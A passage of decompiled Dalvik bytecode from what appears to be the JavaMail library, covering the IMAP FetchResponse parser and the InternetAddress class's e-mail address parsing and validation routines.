00000036  move                    v1, v2
00000038  goto                    :A
.end method

.method private parse()V
          .registers 5
00000000  invoke-virtual          FetchResponse->skipSpaces()V, p0
00000006  iget-object             v0, p0, FetchResponse->buffer:[B
0000000A  iget                    v1, p0, FetchResponse->index:I
0000000E  aget-byte               v0, v0, v1
00000012  const/16                v1, 0x28
00000016  if-eq                   v0, v1, :48
:1A
0000001A  new-instance            v0, ParsingException
0000001E  new-instance            v1, StringBuilder
00000022  const-string            v2, "error in FETCH parsing, missing \'(\' at index "
00000026  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000002C  iget                    v2, p0, FetchResponse->index:I
00000030  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
00000036  move-result-object      v1
00000038  invoke-virtual          StringBuilder->toString()String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  new-instance            v1, Vector
0000004C  invoke-direct           Vector-><init>()V, v1
00000052  const/4                 v0, 0x0
:54
00000054  iget                    v2, p0, FetchResponse->index:I
00000058  add-int/lit8            v2, v2, 0x1
0000005C  iput                    v2, p0, FetchResponse->index:I
00000060  iget                    v2, p0, FetchResponse->index:I
00000064  iget                    v3, p0, FetchResponse->size:I
00000068  if-lt                   v2, v3, :9A
:6C
0000006C  new-instance            v0, ParsingException
00000070  new-instance            v1, StringBuilder
00000074  const-string            v2, "error in FETCH parsing, ran off end of buffer, size "
00000078  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000007E  iget                    v2, p0, FetchResponse->size:I
00000082  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
00000088  move-result-object      v1
0000008A  invoke-virtual          StringBuilder->toString()String, v1
00000090  move-result-object      v1
00000092  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000098  throw                   v0
:9A
0000009A  iget-object             v2, p0, FetchResponse->buffer:[B
0000009E  iget                    v3, p0, FetchResponse->index:I
000000A2  aget-byte               v2, v2, v3
000000A6  sparse-switch           v2, :2C8
:AC
000000AC  if-eqz                  v0, :B6
:B0
000000B0  invoke-virtual          Vector->addElement(Object)V, v1, v0
:B6
000000B6  iget-object             v2, p0, FetchResponse->buffer:[B
000000BA  iget                    v3, p0, FetchResponse->index:I
000000BE  aget-byte               v2, v2, v3
000000C2  const/16                v3, 0x29
000000C6  if-ne                   v2, v3, :54
:CA
000000CA  iget                    v0, p0, FetchResponse->index:I
000000CE  add-int/lit8            v0, v0, 0x1
000000D2  iput                    v0, p0, FetchResponse->index:I
000000D6  invoke-virtual          Vector->size()I, v1
000000DC  move-result             v0
000000DE  new-array               v0, v0, [Item
000000E2  iput-object             v0, p0, FetchResponse->items:[Item
000000E6  iget-object             v0, p0, FetchResponse->items:[Item
000000EA  invoke-virtual          Vector->copyInto([Object)V, v1, v0
000000F0  return-void
:F2
000000F2  sget-object             v2, ENVELOPE->name:[C
000000F6  invoke-direct           FetchResponse->match([C)Z, p0, v2
000000FC  move-result             v2
000000FE  if-eqz                  v2, :AC
:102
00000102  iget                    v0, p0, FetchResponse->index:I
00000106  sget-object             v2, ENVELOPE->name:[C
0000010A  array-length            v2, v2
0000010C  add-int/2addr           v0, v2
0000010E  iput                    v0, p0, FetchResponse->index:I
00000112  new-instance            v0, ENVELOPE
00000116  invoke-direct           ENVELOPE-><init>(FetchResponse)V, v0, p0
0000011C  goto                    :AC
:11E
0000011E  sget-object             v2, FLAGS->name:[C
00000122  invoke-direct           FetchResponse->match([C)Z, p0, v2
00000128  move-result             v2
0000012A  if-eqz                  v2, :AC
:12E
0000012E  iget                    v0, p0, FetchResponse->index:I
00000132  sget-object             v2, FLAGS->name:[C
00000136  array-length            v2, v2
00000138  add-int/2addr           v0, v2
0000013A  iput                    v0, p0, FetchResponse->index:I
0000013E  new-instance            v0, FLAGS
00000142  invoke-direct           FLAGS-><init>(IMAPResponse)V, v0, p0
00000148  goto                    :AC
:14A
0000014A  sget-object             v2, INTERNALDATE->name:[C
0000014E  invoke-direct           FetchResponse->match([C)Z, p0, v2
00000154  move-result             v2
00000156  if-eqz                  v2, :AC
:15A
0000015A  iget                    v0, p0, FetchResponse->index:I
0000015E  sget-object             v2, INTERNALDATE->name:[C
00000162  array-length            v2, v2
00000164  add-int/2addr           v0, v2
00000166  iput                    v0, p0, FetchResponse->index:I
0000016A  new-instance            v0, INTERNALDATE
0000016E  invoke-direct           INTERNALDATE-><init>(FetchResponse)V, v0, p0
00000174  goto                    :AC
:176
00000176  sget-object             v2, BODY->name:[C
0000017A  invoke-direct           FetchResponse->match([C)Z, p0, v2
00000180  move-result             v2
00000182  if-eqz                  v2, :AC
:186
00000186  iget-object             v0, p0, FetchResponse->buffer:[B
0000018A  iget                    v2, p0, FetchResponse->index:I
0000018E  add-int/lit8            v2, v2, 0x4
00000192  aget-byte               v0, v0, v2
00000196  const/16                v2, 0x5B
0000019A  if-ne                   v0, v2, :1BC
:19E
0000019E  iget                    v0, p0, FetchResponse->index:I
000001A2  sget-object             v2, BODY->name:[C
000001A6  array-length            v2, v2
000001A8  add-int/2addr           v0, v2
000001AA  iput                    v0, p0, FetchResponse->index:I
000001AE  new-instance            v0, BODY
000001B2  invoke-direct           BODY-><init>(FetchResponse)V, v0, p0
000001B8  goto/16                 :AC
:1BC
000001BC  sget-object             v0, BODYSTRUCTURE->name:[C
000001C0  invoke-direct           FetchResponse->match([C)Z, p0, v0
000001C6  move-result             v0
000001C8  if-eqz                  v0, :1EA
:1CC
000001CC  iget                    v0, p0, FetchResponse->index:I
000001D0  sget-object             v2, BODYSTRUCTURE->name:[C
000001D4  array-length            v2, v2
000001D6  add-int/2addr           v0, v2
000001D8  iput                    v0, p0, FetchResponse->index:I
:1DC
000001DC  new-instance            v0, BODYSTRUCTURE
000001E0  invoke-direct           BODYSTRUCTURE-><init>(FetchResponse)V, v0, p0
000001E6  goto/16                 :AC
:1EA
000001EA  iget                    v0, p0, FetchResponse->index:I
000001EE  sget-object             v2, BODY->name:[C
000001F2  array-length            v2, v2
000001F4  add-int/2addr           v0, v2
000001F6  iput                    v0, p0, FetchResponse->index:I
000001FA  goto                    :1DC
:1FC
000001FC  sget-object             v2, RFC822SIZE->name:[C
00000200  invoke-direct           FetchResponse->match([C)Z, p0, v2
00000206  move-result             v2
00000208  if-eqz                  v2, :22A
:20C
0000020C  iget                    v0, p0, FetchResponse->index:I
00000210  sget-object             v2, RFC822SIZE->name:[C
00000214  array-length            v2, v2
00000216  add-int/2addr           v0, v2
00000218  iput                    v0, p0, FetchResponse->index:I
0000021C  new-instance            v0, RFC822SIZE
00000220  invoke-direct           RFC822SIZE-><init>(FetchResponse)V, v0, p0
00000226  goto/16                 :AC
:22A
0000022A  sget-object             v2, RFC822DATA->name:[C
0000022E  invoke-direct           FetchResponse->match([C)Z, p0, v2
00000234  move-result             v2
00000236  if-eqz                  v2, :AC
:23A
0000023A  iget                    v0, p0, FetchResponse->index:I
0000023E  sget-object             v2, RFC822DATA->name:[C
00000242  array-length            v2, v2
00000244  add-int/2addr           v0, v2
00000246  iput                    v0, p0, FetchResponse->index:I
0000024A  sget-object             v0, FetchResponse->HEADER:[C
0000024E  invoke-direct           FetchResponse->match([C)Z, p0, v0
00000254  move-result             v0
00000256  if-eqz                  v0, :278
:25A
0000025A  iget                    v0, p0, FetchResponse->index:I
0000025E  sget-object             v2, FetchResponse->HEADER:[C
00000262  array-length            v2, v2
00000264  add-int/2addr           v0, v2
00000266  iput                    v0, p0, FetchResponse->index:I
:26A
0000026A  new-instance            v0, RFC822DATA
0000026E  invoke-direct           RFC822DATA-><init>(FetchResponse)V, v0, p0
00000274  goto/16                 :AC
:278
00000278  sget-object             v0, FetchResponse->TEXT:[C
0000027C  invoke-direct           FetchResponse->match([C)Z, p0, v0
00000282  move-result             v0
00000284  if-eqz                  v0, :26A
:288
00000288  iget                    v0, p0, FetchResponse->index:I
0000028C  sget-object             v2, FetchResponse->TEXT:[C
00000290  array-length            v2, v2
00000292  add-int/2addr           v0, v2
00000294  iput                    v0, p0, FetchResponse->index:I
00000298  goto                    :26A
:29A
0000029A  sget-object             v2, UID->name:[C
0000029E  invoke-direct           FetchResponse->match([C)Z, p0, v2
000002A4  move-result             v2
000002A6  if-eqz                  v2, :AC
:2AA
000002AA  iget                    v0, p0, FetchResponse->index:I
000002AE  sget-object             v2, UID->name:[C
000002B2  array-length            v2, v2
000002B4  add-int/2addr           v0, v2
000002B6  iput                    v0, p0, FetchResponse->index:I
000002BA  new-instance            v0, UID
000002BE  invoke-direct           UID-><init>(FetchResponse)V, v0, p0
000002C4  goto/16                 :AC
000002C8  .sparse-switch
              0x42 -> :176
              0x45 -> :F2
              0x46 -> :11E
              0x49 -> :14A
              0x52 -> :1FC
              0x55 -> :29A
          .end sparse-switch
.end method

.method public getItem(I)Item
          .registers 3
00000000  iget-object             v0, p0, FetchResponse->items:[Item
00000004  aget-object             v0, v0, p1
00000008  return-object           v0
.end method

.method public getItem(Class)Item
          .registers 4
00000000  const/4                 v0, 0x0
:2
00000002  iget-object             v1, p0, FetchResponse->items:[Item
00000006  array-length            v1, v1
00000008  if-lt                   v0, v1, :10
:C
0000000C  const/4                 v0, 0x0
:E
0000000E  return-object           v0
:10
00000010  iget-object             v1, p0, FetchResponse->items:[Item
00000014  aget-object             v1, v1, v0
00000018  invoke-virtual          Class->isInstance(Object)Z, p1, v1
0000001E  move-result             v1
00000020  if-eqz                  v1, :2E
:24
00000024  iget-object             v1, p0, FetchResponse->items:[Item
00000028  aget-object             v0, v1, v0
0000002C  goto                    :E
:2E
0000002E  add-int/lit8            v0, v0, 0x1
00000032  goto                    :2
.end method

.method public getItemCount()I
          .registers 2
00000000  iget-object             v0, p0, FetchResponse->items:[Item
00000004  array-length            v0, v0
00000006  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public abstract Address
.super Object
.source ""

.implements Serializable

.field private static final serialVersionUID:J = 0xAF3277D17464DE2AL

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public abstract equals(Object)Z
.end method

.method public abstract getType()String
.end method

.method public abstract toString()String
.end method

#--------------------------------------------------------------------------------
.class public InternetAddress
.super Address
.source ""

.implements Cloneable

.field private static final rfc822phrase:String = null
.field private static final serialVersionUID:J = 0x97CFA9A447D75349L
.field private static final specialsNoDot:String = "()<>,;:\\\"[]@"
.field private static final specialsNoDotNoAt:String = "()<>,;:\\\"[]"
.field protected address:String
.field protected encodedPersonal:String
.field protected personal:String

.method static constructor <clinit>()V
          .registers 3
00000000  const/4                 v2, 0x0
00000002  const-string            v0, "()<>@,;:\\\"\t .[]"
00000006  const/16                v1, 0x20
0000000A  invoke-virtual          String->replace(C, C)String, v0, v1, v2
00000010  move-result-object      v0
00000012  const/16                v1, 0x9
00000016  invoke-virtual          String->replace(C, C)String, v0, v1, v2
0000001C  move-result-object      v0
0000001E  sput-object             v0, InternetAddress->rfc822phrase:String
00000022  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Address-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 6
00000000  const/4                 v3, 0x1
00000002  const/4                 v2, 0x0
00000004  invoke-direct           Address-><init>()V, p0
0000000A  invoke-static           InternetAddress->parse(String, Z)[InternetAddress, p1, v3
00000010  move-result-object      v0
00000012  array-length            v1, v0
00000014  if-eq                   v1, v3, :28
:18
00000018  new-instance            v0, AddressException
0000001C  const-string            v1, "Illegal address"
00000020  invoke-direct           AddressException-><init>(String, String)V, v0, v1, p1
00000026  throw                   v0
:28
00000028  aget-object             v1, v0, v2
0000002C  iget-object             v1, v1, InternetAddress->address:String
00000030  iput-object             v1, p0, InternetAddress->address:String
00000034  aget-object             v1, v0, v2
00000038  iget-object             v1, v1, InternetAddress->personal:String
0000003C  iput-object             v1, p0, InternetAddress->personal:String
00000040  aget-object             v0, v0, v2
00000044  iget-object             v0, v0, InternetAddress->encodedPersonal:String
00000048  iput-object             v0, p0, InternetAddress->encodedPersonal:String
0000004C  return-void
.end method

.method public constructor <init>(String, String)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           InternetAddress-><init>(String, String, String)V, p0, p1, p2, v0
00000008  return-void
.end method

.method public constructor <init>(String, String, String)V
          .registers 4
00000000  invoke-direct           Address-><init>()V, p0
00000006  iput-object             p1, p0, InternetAddress->address:String
0000000A  invoke-virtual          InternetAddress->setPersonal(String, String)V, p0, p2, p3
00000010  return-void
.end method

.method public constructor <init>(String, Z)V
          .registers 5
00000000  const/4                 v1, 0x1
00000002  invoke-direct           InternetAddress-><init>(String)V, p0, p1
00000008  if-eqz                  p2, :16
:C
0000000C  iget-object             v0, p0, InternetAddress->address:String
00000010  invoke-static           InternetAddress->checkAddress(String, Z, Z)V, v0, v1, v1
:16
00000016  return-void
.end method

.method private static checkAddress(String, Z, Z)V
          .registers 7
00000000  const/16                v3, 0x40
00000004  const/4                 v0, 0x0
00000006  const/16                v1, 0x22
0000000A  invoke-virtual          String->indexOf(I)I, p0, v1
00000010  move-result             v1
00000012  if-ltz                  v1, :18
:16
00000016  return-void
:18
00000018  if-eqz                  p1, :2C
:1C
0000001C  const-string            v1, ",:"
00000020  invoke-static           InternetAddress->indexOfAny(String, String, I)I, p0, v1, v0
00000026  move-result             v1
00000028  if-gez                  v1, :4C
:2C
0000002C  invoke-virtual          String->indexOf(I, I)I, p0, v3, v0
00000032  move-result             v2
00000034  if-ltz                  v2, :D8
:38
00000038  if-ne                   v2, v0, :84
:3C
0000003C  new-instance            v0, AddressException
00000040  const-string            v1, "Missing local name"
00000044  invoke-direct           AddressException-><init>(String, String)V, v0, v1, p0
0000004A  throw                   v0
:4C
0000004C  invoke-virtual          String->charAt(I)C, p0, v0
00000052  move-result             v0
00000054  if-eq                   v0, v3, :68
:58
00000058  new-instance            v0, AddressException
0000005C  const-string            v1, "Illegal route-addr"
00000060  invoke-direct           AddressException-><init>(String, String)V, v0, v1, p0
00000066  throw                   v0
:68
00000068  invoke-virtual          String->charAt(I)C, p0, v1
0000006E  move-result             v0
00000070  const/16                v2, 0x3A
00000074  if-ne                   v0, v2, :7E
:78
00000078  add-int/lit8            v0, v1, 0x1
0000007C  goto                    :2C
:7E
0000007E  add-int/lit8            v0, v1, 0x1
00000082  goto                    :1C
:84
00000084  invoke-virtual          String->length()I, p0
0000008A  move-result             v1
0000008C  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000090  if-ne                   v2, v1, :A4
:94
00000094  new-instance            v0, AddressException
00000098  const-string            v1, "Missing domain"
0000009C  invoke-direct           AddressException-><init>(String, String)V, v0, v1, p0
000000A2  throw                   v0
:A4
000000A4  invoke-virtual          String->substring(I, I)String, p0, v0, v2
000000AA  move-result-object      v1
000000AC  add-int/lit8            v0, v2, 0x1
000000B0  invoke-virtual          String->substring(I)String, p0, v0
000000B6  move-result-object      v0
:B8
000000B8  const-string            v2, " \t\n\r"
000000BC  invoke-static           InternetAddress->indexOfAny(String, String)I, p0, v2
000000C2  move-result             v2
000000C4  if-ltz                  v2, :F2
:C8
000000C8  new-instance            v0, AddressException
000000CC  const-string            v1, "Illegal whitespace in address"
000000D0  invoke-direct           AddressException-><init>(String, String)V, v0, v1, p0
000000D6  throw                   v0
:D8
000000D8  if-eqz                  p2, :EC
:DC
000000DC  new-instance            v0, AddressException
000000E0  const-string            v1, "Missing final \'@domain\'"
000000E4  invoke-direct           AddressException-><init>(String, String)V, v0, v1, p0
000000EA  throw                   v0
:EC
000000EC  const/4                 v0, 0x0
000000EE  move-object             v1, p0
000000F0  goto                    :B8
:F2
000000F2  const-string            v2, "()<>,;:\\\"[]@"
000000F6  invoke-static           InternetAddress->indexOfAny(String, String)I, v1, v2
000000FC  move-result             v1
000000FE  if-ltz                  v1, :112
:102
00000102  new-instance            v0, AddressException
00000106  const-string            v1, "Illegal character in local name"
0000010A  invoke-direct           AddressException-><init>(String, String)V, v0, v1, p0
00000110  throw                   v0
:112
00000112  if-eqz                  v0, :16
:116
00000116  const/16                v1, 0x5B
0000011A  invoke-virtual          String->indexOf(I)I, v0, v1
00000120  move-result             v1
00000122  if-gez                  v1, :16
:126
00000126  const-string            v1, "()<>,;:\\\"[]@"
0000012A  invoke-static           InternetAddress->indexOfAny(String, String)I, v0, v1
00000130  move-result             v0
00000132  if-ltz                  v0, :16
:136
00000136  new-instance            v0, AddressException
0000013A  const-string            v1, "Illegal character in domain"
0000013E  invoke-direct           AddressException-><init>(String, String)V, v0, v1, p0
00000144  throw                   v0
.end method

.method public static getLocalAddress(Session)InternetAddress
          .registers 6
00000000  const/4                 v0, 0x0
00000002  if-nez                  p0, :8E
:6
00000006  const-string            v1, "user.name"
0000000A  invoke-static           System->getProperty(String)String, v1
00000010  move-result-object      v2
00000012  invoke-static           InetAddress->getLocalHost()InetAddress
00000018  move-result-object      v1
0000001A  invoke-virtual          InetAddress->getHostName()String, v1
00000020  move-result-object      v1
00000022  move-object             v3, v2
00000024  move-object             v2, v1
00000026  move-object             v1, v0
:28
00000028  if-nez                  v1, :120
:2C
0000002C  if-eqz                  v3, :120
:30
00000030  invoke-virtual          String->length()I, v3
00000036  move-result             v4
00000038  if-eqz                  v4, :120
:3C
0000003C  if-eqz                  v2, :120
:40
00000040  invoke-virtual          String->length()I, v2
00000046  move-result             v4
00000048  if-eqz                  v4, :120
:4C
0000004C  new-instance            v1, StringBuilder
00000050  invoke-static           String->valueOf(Object)String, v3
00000056  move-result-object      v3
00000058  invoke-direct           StringBuilder-><init>(String)V, v1, v3
0000005E  const-string            v3, "@"
00000062  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v3
00000068  move-result-object      v1
0000006A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000070  move-result-object      v1
00000072  invoke-virtual          StringBuilder->toString()String, v1
00000078  move-result-object      v1
0000007A  move-object             v2, v1
:7C
0000007C  if-eqz                  v2, :8C
:80
00000080  new-instance            v1, InternetAddress
00000084  invoke-direct           InternetAddress-><init>(String)V, v1, v2
0000008A  move-object             v0, v1
:8C
0000008C  return-object           v0
:8E
0000008E  const-string            v1, "mail.from"
00000092  invoke-virtual          Session->getProperty(String)String, p0, v1
00000098  move-result-object      v1
0000009A  if-nez                  v1, :124
:9E
0000009E  const-string            v2, "mail.user"
000000A2  invoke-virtual          Session->getProperty(String)String, p0, v2
000000A8  move-result-object      v3
000000AA  if-eqz                  v3, :BA
:AE
000000AE  invoke-virtual          String->length()I, v3
000000B4  move-result             v2
000000B6  if-nez                  v2, :C6
:BA
000000BA  const-string            v2, "user.name"
000000BE  invoke-virtual          Session->getProperty(String)String, p0, v2
000000C4  move-result-object      v3
:C6
000000C6  if-eqz                  v3, :D6
:CA
000000CA  invoke-virtual          String->length()I, v3
000000D0  move-result             v2
000000D2  if-nez                  v2, :E2
:D6
000000D6  const-string            v2, "user.name"
000000DA  invoke-static           System->getProperty(String)String, v2
000000E0  move-result-object      v3
:E2
000000E2  const-string            v2, "mail.host"
000000E6  invoke-virtual          Session->getProperty(String)String, p0, v2
000000EC  move-result-object      v2
000000EE  if-eqz                  v2, :FE
:F2
000000F2  invoke-virtual          String->length()I, v2
000000F8  move-result             v4
000000FA  if-nez                  v4, :28
:FE
000000FE  invoke-static           InetAddress->getLocalHost()InetAddress
00000104  move-result-object      v4
00000106  if-eqz                  v4, :28
:10A
0000010A  invoke-virtual          InetAddress->getHostName()String, v4
:110
00000110  move-result-object      v2
00000112  goto                    :28
:114
00000114  move-exception          v1
00000116  goto                    :8C
:118
00000118  move-exception          v1
0000011A  goto                    :8C
:11C
0000011C  move-exception          v1
0000011E  goto                    :8C
:120
00000120  move-object             v2, v1
00000122  goto                    :7C
:124
00000124  move-object             v2, v0
00000126  move-object             v3, v0
00000128  goto                    :28
          .catch SecurityException {:6 .. :110} :11C
          .catch AddressException {:6 .. :110} :118
          .catch UnknownHostException {:6 .. :110} :114
.end method

.method private static indexOfAny(String, String)I
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-static           InternetAddress->indexOfAny(String, String, I)I, p0, p1, v0
00000008  move-result             v0
0000000A  return                  v0
.end method

.method private static indexOfAny(String, String, I)I
          .registers 7
00000000  const/4                 v1, 0xFFFFFFFFFFFFFFFF
:2
00000002  invoke-virtual          String->length()I, p0
00000008  move-result             v2
0000000A  move                    v0, p2
:C
0000000C  if-lt                   v0, v2, :14
:10
00000010  move                    v0, v1
:12
00000012  return                  v0
:14
00000014  invoke-virtual          String->charAt(I)C, p0, v0
0000001A  move-result             v3
0000001C  invoke-virtual          String->indexOf(I)I, p1, v3
:22
00000022  move-result             v3
00000024  if-gez                  v3, :12
:28
00000028  add-int/lit8            v0, v0, 0x1
0000002C  goto                    :C
:2E
0000002E  move-exception          v0
00000030  move                    v0, v1
00000032  goto                    :12
          .catch StringIndexOutOfBoundsException {:2 .. :22} :2E
.end method

.method private isSimple()Z
          .registers 3
00000000  iget-object             v0, p0, InternetAddress->address:String
00000004  if-eqz                  v0, :20
:8
00000008  iget-object             v0, p0, InternetAddress->address:String
0000000C  const-string            v1, "()<>,;:\\\"[]"
00000010  invoke-static           InternetAddress->indexOfAny(String, String)I, v0, v1
00000016  move-result             v0
00000018  if-ltz                  v0, :20
:1C
0000001C  const/4                 v0, 0x0
:1E
0000001E  return                  v0
:20
00000020  const/4                 v0, 0x1
00000022  goto                    :1E
.end method

.method private static lengthOfFirstSegment(String)I
          .registers 3
00000000  const-string            v0, "\r\n"
00000004  invoke-virtual          String->indexOf(String)I, p0, v0
0000000A  move-result             v0
0000000C  const/4                 v1, 0xFFFFFFFFFFFFFFFF
0000000E  if-eq                   v0, v1, :14
:12
00000012  return                  v0
:14
00000014  invoke-virtual          String->length()I, p0
0000001A  move-result             v0
0000001C  goto                    :12
.end method

.method private static lengthOfLastSegment(String, I)I
          .registers 4
00000000  const-string            v0, "\r\n"
00000004  invoke-virtual          String->lastIndexOf(String)I, p0, v0
0000000A  move-result             v0
0000000C  const/4                 v1, 0xFFFFFFFFFFFFFFFF
0000000E  if-eq                   v0, v1, :24
:12
00000012  invoke-virtual          String->length()I, p0
00000018  move-result             v1
0000001A  sub-int                 v0, v1, v0
0000001E  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFE
:22
00000022  return                  v0
:24
00000024  invoke-virtual          String->length()I, p0
0000002A  move-result             v0
0000002C  add-int/2addr           v0, p1
0000002E  goto                    :22
.end method

.method public static parse(String)[InternetAddress
          .registers 2
00000000  const/4                 v0, 0x1
00000002  invoke-static           InternetAddress->parse(String, Z)[InternetAddress, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public static parse(String, Z)[InternetAddress
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-static           InternetAddress->parse(String, Z, Z)[InternetAddress, p0, p1, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method private static parse(String, Z, Z)[InternetAddress
          .registers 17
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000002  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000004  invoke-virtual          String->length()I, p0
0000000A  move-result             v9
0000000C  const/4                 v7, 0x0
0000000E  const/4                 v6, 0x0
00000010  const/4                 v5, 0x0
00000012  new-instance            v10, Vector
00000016  invoke-direct           Vector-><init>()V, v10
0000001C  const/4                 v2, 0xFFFFFFFFFFFFFFFF
0000001E  const/4                 v1, 0x0
00000020  move                    v4, v2
:22
00000022  if-lt                   v1, v9, :A6
:26
00000026  if-ltz                  v4, :92
:2A
0000002A  const/4                 v7, 0xFFFFFFFFFFFFFFFF
0000002C  if-ne                   v2, v7, :488
:30
00000030  invoke-virtual          String->substring(I, I)String, p0, v4, v1
00000036  move-result-object      v1
00000038  invoke-virtual          String->trim()String, v1
0000003E  move-result-object      v1
00000040  if-nez                  v5, :4C
:44
00000044  if-nez                  p1, :4C
:48
00000048  if-eqz                  p2, :448
:4C
0000004C  if-nez                  p1, :54
:50
00000050  if-nez                  p2, :5C
:54
00000054  const/4                 v2, 0x0
00000056  invoke-static           InternetAddress->checkAddress(String, Z, Z)V, v1, v6, v2
:5C
0000005C  new-instance            v2, InternetAddress
00000060  invoke-direct           InternetAddress-><init>()V, v2
00000066  invoke-virtual          InternetAddress->setAddress(String)V, v2, v1
0000006C  if-ltz                  v0, :8C
:70
00000070  invoke-virtual          String->substring(I, I)String, p0, v0, v3
00000076  move-result-object      v0
00000078  invoke-virtual          String->trim()String, v0
0000007E  move-result-object      v0
00000080  invoke-static           InternetAddress->unquote(String)String, v0
00000086  move-result-object      v0
00000088  iput-object             v0, v2, InternetAddress->encodedPersonal:String
:8C
0000008C  invoke-virtual          Vector->addElement(Object)V, v10, v2
:92
00000092  invoke-virtual          Vector->size()I, v10
00000098  move-result             v0
0000009A  new-array               v0, v0, [InternetAddress
0000009E  invoke-virtual          Vector->copyInto([Object)V, v10, v0
000000A4  return-object           v0
:A6
000000A6  invoke-virtual          String->charAt(I)C, p0, v1
000000AC  move-result             v8
000000AE  sparse-switch           v8, :4CC
:B4
000000B4  const/4                 v8, 0xFFFFFFFFFFFFFFFF
000000B6  if-ne                   v4, v8, :48E
:BA
000000BA  move                    v4, v0
000000BC  move                    v0, v5
000000BE  move                    v5, v1
000000C0  move                    v12, v6
000000C2  move                    v6, v2
000000C4  move                    v2, v7
000000C6  move                    v7, v1
000000C8  move                    v1, v12
:CA
000000CA  add-int/lit8            v5, v5, 0x1
000000CE  move                    v12, v0
000000D0  move                    v0, v4
000000D2  move                    v4, v7
000000D4  move                    v7, v2
000000D6  move                    v2, v6
000000D8  move                    v6, v1
000000DA  move                    v1, v5
000000DC  move                    v5, v12
000000DE  goto                    :22
:E0
000000E0  const/4                 v5, 0x1
000000E2  if-ltz                  v4, :4C6
:E6
000000E6  const/4                 v8, 0xFFFFFFFFFFFFFFFF
000000E8  if-ne                   v2, v8, :4C6
:EC
000000EC  move                    v8, v1
:EE
000000EE  const/4                 v2, 0xFFFFFFFFFFFFFFFF
000000F0  if-ne                   v0, v2, :F8
:F4
000000F4  add-int/lit8            v0, v1, 0x1
:F8
000000F8  add-int/lit8            v2, v1, 0x1
000000FC  const/4                 v1, 0x1
:FE
000000FE  if-ge                   v2, v9, :106
:102
00000102  if-gtz                  v1, :11A
:106
00000106  if-lez                  v1, :140
:10A
0000010A  new-instance            v0, AddressException
0000010E  const-string            v1, "Missing \')\'"
00000112  invoke-direct           AddressException-><init>(String, String, I)V, v0, v1, p0, v2
00000118  throw                   v0
:11A
0000011A  invoke-virtual          String->charAt(I)C, p0, v2
00000120  move-result             v11
00000122  sparse-switch           v11, :538
:128
00000128  add-int/lit8            v2, v2, 0x1
0000012C  goto                    :FE
:12E
0000012E  add-int/lit8            v2, v2, 0x1
00000132  goto                    :128
:134
00000134  add-int/lit8            v1, v1, 0x1
00000138  goto                    :128
:13A
0000013A  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000013E  goto                    :128
:140
00000140  add-int/lit8            v1, v2, 0xFFFFFFFFFFFFFFFF
00000144  const/4                 v2, 0xFFFFFFFFFFFFFFFF
00000146  if-ne                   v3, v2, :4B4
:14A
0000014A  move                    v2, v7
0000014C  move                    v3, v1
0000014E  move                    v7, v4
00000150  move                    v4, v0
00000152  move                    v0, v5
00000154  move                    v5, v1
00000156  move                    v1, v6
00000158  move                    v6, v8
0000015A  goto                    :CA
:15C
0000015C  new-instance            v0, AddressException
00000160  const-string            v2, "Missing \'(\'"
00000164  invoke-direct           AddressException-><init>(String, String, I)V, v0, v2, p0, v1
0000016A  throw                   v0
:16C
0000016C  const/4                 v5, 0x1
0000016E  if-eqz                  v6, :182
:172
00000172  new-instance            v0, AddressException
00000176  const-string            v2, "Extra route-addr"
0000017A  invoke-direct           AddressException-><init>(String, String, I)V, v0, v2, p0, v1
00000180  throw                   v0
:182
00000182  if-nez                  v7, :4AC
:186
00000186  if-ltz                  v4, :4A6
:18A
0000018A  move                    v0, v1
:18C
0000018C  add-int/lit8            v2, v1, 0x1
00000190  move                    v12, v4
00000192  move                    v4, v2
00000194  move                    v2, v12
:196
00000196  const/4                 v3, 0x0
00000198  add-int/lit8            v1, v1, 0x1
0000019C  move                    v12, v3
0000019E  move                    v3, v1
000001A0  move                    v1, v12
:1A2
000001A2  if-lt                   v3, v9, :1BE
:1A6
000001A6  if-lt                   v3, v9, :1FA
:1AA
000001AA  if-eqz                  v1, :1EA
:1AE
000001AE  new-instance            v0, AddressException
000001B2  const-string            v1, "Missing \'\"\'"
000001B6  invoke-direct           AddressException-><init>(String, String, I)V, v0, v1, p0, v3
000001BC  throw                   v0
:1BE
000001BE  invoke-virtual          String->charAt(I)C, p0, v3
000001C4  move-result             v6
000001C6  sparse-switch           v6, :554
:1CC
000001CC  add-int/lit8            v3, v3, 0x1
000001D0  goto                    :1A2
:1D2
000001D2  add-int/lit8            v3, v3, 0x1
000001D6  goto                    :1CC
:1D8
000001D8  if-eqz                  v1, :1E0
:1DC
000001DC  const/4                 v1, 0x0
000001DE  goto                    :1CC
:1E0
000001E0  const/4                 v1, 0x1
000001E2  goto                    :1CC
:1E4
000001E4  if-eqz                  v1, :1A6
:1E8
000001E8  goto                    :1CC
:1EA
000001EA  new-instance            v0, AddressException
000001EE  const-string            v1, "Missing \'>\'"
000001F2  invoke-direct           AddressException-><init>(String, String, I)V, v0, v1, p0, v3
000001F8  throw                   v0
:1FA
000001FA  const/4                 v1, 0x1
000001FC  move                    v6, v3
000001FE  move                    v12, v7
00000200  move                    v7, v4
00000202  move                    v4, v2
00000204  move                    v2, v12
00000206  move                    v13, v3
00000208  move                    v3, v0
0000020A  move                    v0, v5
0000020C  move                    v5, v13
